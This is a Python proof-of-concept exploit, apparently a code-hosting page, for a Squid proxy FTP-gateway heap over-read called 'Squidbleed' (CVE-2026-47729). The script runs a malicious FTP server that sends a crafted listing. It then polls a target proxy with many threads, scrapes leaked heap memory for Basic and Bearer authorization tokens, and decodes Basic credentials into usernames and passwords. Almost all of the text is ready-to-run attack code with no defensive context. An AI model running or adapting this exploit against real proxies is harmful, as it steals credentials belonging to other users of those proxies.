Squidbleed — Squid Proxy FTP Gateway Out-of-Bounds Heap Read (CVE-2026-47729)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216

#!/usr/bin/env python3
"""
CVE-2026-47729 (Squidbleed) PoC - Standalone Attacker

Author: Ashraf Zaryouh "0xBlackash"
GitHub: https://github.com/0xBlackash

Combines evil FTP server + continuous poller in one script.

Usage:
  python3 CVE-2026-47729.py --proxy 127.0.0.1:3128 --ftp-port 2222
"""

import argparse
import base64
import re
import signal
import socket
import threading
import time
import urllib.parse
from urllib.parse import urlparse

# ==================== EVIL FTP SERVER ====================
TRIGGER = b"drwxr-xr-x 1 u g 0 Jan 01 12:34\r\n"

def handle_ftp_client(c):
    try:
        c.sendall(b"220 NetWare evil server ready\r\n")
        dl = None
        while True:
            line = b""
            while not line.endswith(b"\n"):
                d = c.recv(1)
                if not d:
                    return
                line += d
            u = line.strip().upper()
            if u.startswith(b"USER"):
                c.sendall(b"331 password please\r\n")
            elif u.startswith(b"PASS"):
                c.sendall(b"230 logged in\r\n")
            elif u.startswith(b"SYST"):
                c.sendall(b"215 UNIX Type: L8\r\n")
            elif u.startswith(b"PWD"):
                c.sendall(b'257 "/"\r\n')
            elif u.startswith(b"TYPE"):
                c.sendall(b"200 ok\r\n")
            elif u.startswith(b"EPSV"):
                dl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                dl.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
                dl.bind(('0.0.0.0', 0))
                dl.listen(1)
                p = dl.getsockname()[1]
                c.sendall(f"229 (|||{p}|)\r\n".encode())
            elif u.startswith(b"PASV"):
                c.sendall(b"500 PASV disabled, use EPSV\r\n")
            elif u.startswith((b"LIST", b"NLST")):
                if dl is None:
                    c.sendall(b"425 use EPSV first\r\n")
                    continue
                c.sendall(b"150 opening\r\n")
                dc, _ = dl.accept()
                dc.sendall(TRIGGER)
                dc.close()
                dl.close()
                dl = None
                time.sleep(0.05)
                c.sendall(b"226 transfer complete\r\n")
            elif u.startswith(b"QUIT"):
                c.sendall(b"221 bye\r\n")
                return
            else:
                c.sendall(b"500 unknown\r\n")
    except Exception:
        pass
    finally:
        c.close()

def start_ftp_server(port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(('0.0.0.0', port))
    s.listen(8)
    print(f"[FTP] Evil server listening on 0.0.0.0:{port}")
    while True:
        cn, _ = s.accept()
        threading.Thread(target=handle_ftp_client, args=(cn,), daemon=True).start()

# ==================== POLLER / LEAK HARVESTER ====================
def main():
    ap = argparse.ArgumentParser(description="CVE-2026-47729 Squidbleed PoC - by 0xBlackash")
    ap.add_argument("--proxy", default="127.0.0.1:3128", help="Target Squid proxy host:port")
    ap.add_argument("--ftp-port", type=int, default=2222, help="Local evil FTP port")
    ap.add_argument("-t", "--threads", type=int, default=4, help="Polling threads")
    args = ap.parse_args()

    # Start FTP server in background
    threading.Thread(target=start_ftp_server, args=(args.ftp_port,), daemon=True).start()
    time.sleep(1)

    phost, pport = args.proxy.split(":")
    PROXY = (phost, int(pport))
    FTP_URL = f"ftp://anon:x@127.0.0.1:{args.ftp_port}/"

    netloc = urlparse(FTP_URL).netloc.split("@")[-1]
    attacker_req = (
        f"GET {FTP_URL} HTTP/1.1\r\n"
        f"Host: {netloc}\r\n"
        f"Connection: close\r\n\r\n"
    ).encode()

    RE_HREF = re.compile(rb'class="filename"><a href="([^"]*)"')
    RE_BASIC = re.compile(rb"Basic\s+([A-Za-z0-9+/=]{8,})")
    RE_BEARER = re.compile(rb"Bearer\s+([A-Za-z0-9\-._~+/]{8,}={0,2})")

    stop = threading.Event()
    seen = {"basic": set(), "bearer": set()}
    seen_lock = threading.Lock()
    cnt_lock = threading.Lock()
    polls = [0]
    hits = [0]
    t_start = time.time()
    print_lock = threading.Lock()

    def safe_print(s):
        with print_lock:
            print(s, flush=True)

    def fetch():
        s = socket.create_connection(PROXY, timeout=5)
        s.sendall(attacker_req)
        body = bytearray()
        while True:
            try:
                d = s.recv(8192)
            except (socket.timeout, OSError):
                break
            if not d:
                break
            body.extend(d)
        s.close()
        return bytes(body)

    def note(kind, value):
        key = value[:200]
        with seen_lock:
            if key in seen[kind]:
                return
            seen[kind].add(key)
        dt = time.time() - t_start
        disp = value[:200].decode("latin-1", errors="replace")
        safe_print(f"\n[{dt:7.2f}s] [{kind.upper()}] {disp}")
        if kind == "basic":
            try:
                decoded = base64.b64decode(value).decode(errors="replace")
                if ":" in decoded:
                    u, p = decoded.split(":", 1)
                    safe_print(f"              decoded = {u}:{p}")
            except Exception:
                pass

    def worker():
        while not stop.is_set():
            try:
                body = fetch()
            except Exception:
                continue
            with cnt_lock:
                polls[0] += 1
            m = RE_HREF.search(body)
            if not m:
                continue
            leaked = urllib.parse.unquote_to_bytes(m.group(1))
            hit = False
            for mm in RE_BASIC.finditer(leaked):
                note("basic", mm.group(1))
                hit = True
            for mm in RE_BEARER.finditer(leaked):
                note("bearer", mm.group(1))
                hit = True
            if hit:
                with cnt_lock:
                    hits[0] += 1

    def status():
        last = 0
        while not stop.is_set():
            if stop.wait(5.0):
                break
            with cnt_lock:
                p, h = polls[0], hits[0]
            dt = time.time() - t_start
            rate = (p - last) / 5.0
            last = p
            with seen_lock:
                nb, nr = len(seen["basic"]), len(seen["bearer"])
            safe_print(f"[status {dt:7.2f}s] polls={p} hits={h} rate={rate:.1f}/s  "
                       f"distinct: basic={nb} bearer={nr}")

    signal.signal(signal.SIGINT, lambda *_: stop.set())

    safe_print(f"[PoC] Squidbleed CVE-2026-47729 by Ashraf Zaryouh (0xBlackash)")
    safe_print(f"      threads={args.threads} proxy={args.proxy} ftp-port={args.ftp_port}")
    for _ in range(args.threads):
        threading.Thread(target=worker, daemon=True).start()
    threading.Thread(target=status, daemon=True).start()

    try:
        while not stop.is_set():
            time.sleep(0.5)
    except KeyboardInterrupt:
        stop.set()

if __name__ == "__main__":
    main()